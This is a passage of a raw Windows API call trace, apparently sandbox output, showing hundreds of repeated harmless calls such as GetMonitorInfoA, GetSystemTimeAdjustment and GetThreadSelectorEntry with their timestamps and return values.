lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0095.377] lstrlenA (lpString="") returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.377] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.378] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.379] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.380] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.381] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] 